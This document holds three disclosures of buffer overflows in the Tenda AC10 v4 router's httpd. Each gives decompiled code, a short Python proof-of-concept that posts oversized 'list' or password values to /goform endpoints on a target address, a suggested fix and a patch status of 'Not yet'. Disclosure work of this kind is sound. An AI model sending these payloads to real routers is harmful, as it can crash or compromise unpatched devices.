Product: AC10 v4
Version: US_AC10V4.0si_V16.03.10.20_cn
Binary: /bin/httpd
In formSetVirtualSer
, it reads value of key list
upto 0x200 bytes and passed as argument to function Virtual_Data_Check
:
memset(acStack_514, 0, 0x100);
memset(auStack_414, 0, 0x201);
memset(auStack_210, 0, 0x201);
iVar1 = websSafeGetVar(param_1, 0xcc, "list", & DAT_004fb6b8, auStack_414);
if (iVar1 == 1) {
printf("Error: Get WEB value failed, idx[%d],var[%s]\n", 0xcc, & DAT_004fb6bc);
websTransfer_errCode(param_1, 1);
} else {
memcpy(auStack_210, auStack_414, 0x201);
iVar1 = Virtual_Data_Check(auStack_210);
if (iVar1 == 0) {
save_virtualser_data("adv.virtualser", auStack_414, 0x7e);
In Virtual_Data_Check
, it uses sscanf with format string %[^,]
and %s
to parse from param1 to 4 local variables. But the list
can take upto 0x200, which will cause buffer overflow:
undefined4 Virtual_Data_Check(char * param_1)
{
...
local_198 = param_1;
if ( * param_1 == '\0') {
uVar3 = 0;
} else {
while (pcVar4 = strchr(local_198, L '~'), pcVar4 != 0x0) {
...
}
iVar5 = sscanf(local_198, "%[^,],%[^,],%[^,],%s", & local_168, & local_138, & local_128, & local_118);
...
}
return uVar3;
}
#!/usr/bin/python3
import sys
import requests
payload = b'2,'*3
payload = payload.ljust(0x200, b'A')
def run():
url = f"http://{sys.argv[1]}/goform/SetVirtualServerCfg"
data = {
'list': payload,
}
res = requests.post(url=url,data=data)
run()
Reduce max size in websSafeGetVar
for "list"
Buffer Overflow, possible command injection
Cao Ngoc Quy, Nguyen Huu Tri and Nguyen Le Quoc Anh of bl4ckh0l3 from Galaxy One
Not yet
Product: AC10 v4
Version: US_AC10V4.0si_V16.03.10.20_cn
Binary: /bin/httpd
In fromSetRouteStatic
, it reads value of key list
upto 0x200 bytes and passed as argument to function Virtual_Data_Check
:
memset(acStack_514, 0, 0x100);
memset(auStack_414, 0, 0x201);
memset(auStack_210, 0, 0x201);
iVar1 = websSafeGetVar(param_1, 0xcb, "list", & DAT_004fb850, auStack_414);
if (iVar1 == 1) {
printf("Error: Get WEB value failed, idx[%d],var[%s]\n", 0xcb, & DAT_004fb854);
websTransfer_errCode(param_1, 1);
} else {
memcpy(auStack_210, auStack_414, 0x201);
iVar1 = route_static_check(auStack_210);
if (iVar1 == 0) {
save_staticroute_data ("adv.staticroute", auStack_414, L’~’);
In route_static_check, it uses sscanf with format string %[^,]
and %s
to parse from param1 to 4 local variables. But the "list" can take upto 0x200, which will cause buffer overflow:
undefined4 route_static_check(char * param_1)
{
...
local_58 = param_1;
if ( * param_1 == '\0') {
uVar1 = 0;
} else {
while (pcVar2 = strchr(local_58, L '~'), pcVar2 != 0x0) {
...
}
iVar3 = sscanf(local_58, "%[^,],%[^,],%[^,],%s", & local_4c, & local_3c, & local_2c, & local_1c);
...
}
return uVar1;
}
#!/usr/bin/python3
import sys
import requests
payload = b'2,'*3
payload = payload.ljust(0x200, b'A')
def run():
url = f"http://{sys.argv[1]}/goform/SetStaticRouteCfg"
data = {
'list': payload,
}
res = requests.post(url=url,data=data)
run()
Reduce max size in websSafeGetVar
for "list"
Buffer Overflow, possible command injection
Cao Ngoc Quy, Nguyen Huu Tri and Nguyen Le Quoc Anh of bl4ckh0l3 from Galaxy One
Not yet
Product: AC10 v4
Version: US_AC10V4.0si_V16.03.10.20_cn
Binary: /bin/httpd
In fromSysToolChangePwd, it gets SYSOPS from request without limited the length:
sysops = websGetVar(param_1, "SYSOPS", & DAT_004fd3e0);
sysps = websGetVar(param_1, "SYSPS", & DAT_004fd3e0);
sysps2 = websGetVar(param_1, "SYSPS2", & DAT_004fd3e0);
GetValue("sys.userpass", & local_2c);
iVar1 = strcmp( & local_2c, sysops);
if ((iVar1 != 0) || (iVar1 = strcmp(sysps, sysps2), iVar1 != 0)) {
websRedirect(param_1, "/system_password.html?1");
return;
}
iVar1 = strcmp(sysops, sysps);
if (iVar1 == 0) {
websRedirect(param_1, "/system_password.html");
return;
}
SetValue("sys.userpass", sysps);
It first executes GetValue
to get current password and compares to make sure the current password is correct, then it saves new password using SetValue
. But because new password (which is SYSPS
) isn’t limited in length so after we set new password, we execute fromSysToolChangePwd
again, it gets current password via GetValue
and can cause buffer overflow for local_2c
variable.
#!/usr/bin/python3
import sys
import requests
payload = b'A'*0x200
def run():
url = f"http://{sys.argv[1]}/goform/SysToolChangePwd"
data = {
"SYSOPS": sys.argv[2],
"SYSPS": payload,
"SYSPS2": payload
}
requests.post(url=url, data=data)
requests.post(url=url, data=data)
run()
Check password length before save
Possible Buffer Overflow, possible command injection
Cao Ngoc Quy, Nguyen Huu Tri and Nguyen Le Quoc Anh of bl4ckh0l3 from Galaxy One
Not yet